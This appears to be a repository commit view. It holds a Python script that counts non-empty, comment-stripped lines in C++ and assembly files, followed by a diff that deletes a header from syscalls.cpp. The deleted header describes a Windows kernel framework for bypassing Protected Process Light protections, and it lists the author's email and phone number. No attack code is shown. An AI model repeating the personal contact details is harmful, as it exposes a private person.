if ch == '\\' and (in_double or in_single):
escape = not escape
else:
escape = False
out.append(ch)
i += 1
return ''.join(out)
def strip_asm_comments(src: str) -> str:
out_lines = []
in_double = False
in_single = False
for line in src.splitlines(True):
res = []
escape = False
for i,ch in enumerate(line):
if ch == '"' and not in_single:
if not escape:
in_double = not in_double
elif ch == "'" and not in_double:
if not escape:
in_single = not in_single
if (not in_double and not in_single) and (ch == ';' or ch == '#'):
# drop remainder of line
break
res.append(ch)
if ch == '\\':
escape = not escape
else:
escape = False
out_lines.append(''.join(res))
# reset string state per line for typical asm; if you want to preserve multi-line strings, remove the next two lines
in_double = False
in_single = False
return ''.join(out_lines)
def strip_comments_by_ext(path, text):
ext = os.path.splitext(path)[1].lower()
if ext in ('.cpp', '.h'):
# first remove C-style comments preserving strings
return strip_c_style_comments(text)
elif ext == '.asm':
# remove common asm line comments ; and #
# also remove C-style block comments if present
t = strip_c_style_comments(text)
return strip_asm_comments(t)
else:
return text
total = 0
per_file = []
for root, dirs, files in os.walk('.'):
for name in files:
ext = os.path.splitext(name)[1].lower()
if ext in EXTS:
full = os.path.join(root, name)
try:
with open(full, 'r', encoding='utf-8', errors='replace') as f:
src = f.read()
except Exception as e:
print(f"Could not read {full}: {e}", file=sys.stderr)
continue
cleaned = strip_comments_by_ext(full, src)
# count non-empty lines after stripping comments and trimming whitespace
count = sum(1 for line in cleaned.splitlines() if line.strip() != '')
per_file.append((full, count))
total += count
# print per-file and total
for fn, c in per_file:
print(f"{fn}: {c}")
print(f"\nTotal (non-empty, comments removed): {total}")

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// syscalls.cpp
#include "syscalls.h"
#include <vector>